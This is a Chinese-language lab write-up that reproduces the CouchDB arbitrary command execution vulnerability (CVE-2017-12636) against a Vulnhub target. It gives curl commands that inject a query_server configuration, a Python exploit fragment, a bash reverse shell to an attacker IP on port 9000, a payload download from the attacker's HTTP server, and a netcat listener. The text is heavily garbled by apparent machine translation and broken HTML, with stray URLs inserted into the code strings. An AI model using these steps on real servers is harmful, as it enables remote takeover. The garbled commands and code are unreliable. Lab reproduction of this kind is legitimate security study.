利用Vulnhub复现漏洞——Couchdb任意命令执行

  

漏洞原理:
Apache CouchDB是一个开源数据库,专注于易用性和成为“完全拥抱web的数据库“。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,瑞士信贷(Credit Suisse)用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

  

在2017年11月15日,cve - 2017 - 12635和cve - 2017 - 12636披露,cve - 2017 - 12636是一个任意命令执行漏洞,我们可以通过配置api修改couchdb的配置query_server,这个配置项在设计,执行视图的时候将被运行。

  

漏洞复现:
1,新增query_server配置,写入要执行的命令;
curl - x将“http://pppp pppp@靶机ip: 5984/_config query_servers/cmd“- d”“id在/tmp/success"“
红箭头的是自己创建的账号和密码、下面显示我的已经有了。
利用Vulnhub复现漏洞——Couchdb任意命令执行“> <br/> 2,新建一个临时库和临时表,插入一条记录;<br/>①curl - x将“http://pppp pppp@靶机ip: 5984/oll <br/>②curl - x将“http://pppp pppp@靶机ip: 5984/oll vul - d ' {“_id":“770895 a97726d5ca6d70a22173005c7b红箭头指的是自己创建的表
利用Vulnhub复现漏洞——Couchdb任意命令执行“> <br/> 3。调用query_server处理数据<br/> curl - x将http://pppp pppp@靶机ip: 5984/oll/_design vul - d ' {“_id":“_design/test   

执行EXP反弹外壳:
1。反弹脚本:在家里下面创建个索引。html。添以下内容bash
我在,/dev/tcp/172.16.11.2/9000 0祝辞,1
红箭头指的是本机ip
利用Vulnhub复现漏洞——Couchdb任意命令执行“> <br/> 2。另起一个终端,在家里下执行python - m SimpleHTTPServer 8000 <br/> <img src=“type":“user",
“name":“wooyun",
“roles": [“_admin"],
“roles": [],
“password":“wooyun"
}”)

  

会话。auth=HTTPBasicAuth (wooyun, wooyun)

  

如果version==1:
会话。把(目标+ (/_config/query_servers/cmd), data=https://www.yisu.com/zixun/command)
:
主机=会话。得到(目标+/_membership) . json () [' all_nodes '] [0]
会话。把(目标+ '/_node/{}/_config/query_servers/cmd .format(主机),data=https://www.yisu.com/zixun/command)

  

会话。把(目标+/wooyun)
会话。把(目标+/wooyun/测试,data=' https://www.yisu.com/zixun/{" _id ":“wooyuntest”}’)

  

如果version==1:
会话。帖子(目标+ '/wooyun/_temp_view吗?限制=10,数据=' https://www.yisu.com/zixun/{“语言”:“cmd”、“地图”:“}”)其他
:
session.put(目标+/wooyun/_design/测试,data=' https://www.yisu.com/zixun/{" _id ":“_design/测试”、“观点”:{" wooyun ":{“地图”:“}},“语言”:“cmd”}”)

  

利用Vulnhub复现漏洞——Couchdb任意命令执行

  

4。修改经验。py中命令的值为:curl 172.16.11.2:8000 - o/tmp/bashell保存并执行命令python exp.py。
这个时候可以看见HTTP服务成功监听到下载请求

  

5。再重新打开一个终端,并监听着9000年数控-lnvp监听本9000年地端口
利用Vulnhub复现漏洞——Couchdb任意命令执行

  

6。修改exp.py中的命令的值为bash/tmp/bashell,保存并执行命令python exp.py,成功获取反弹回来的壳
利用Vulnhub复现漏洞——Couchdb任意命令执行“> <br/>目标的ip为靶机ip(一定要写对,别学本人ip写错,发愁一天)<h2 class=利用Vulnhub复现漏洞——Couchdb任意命令执行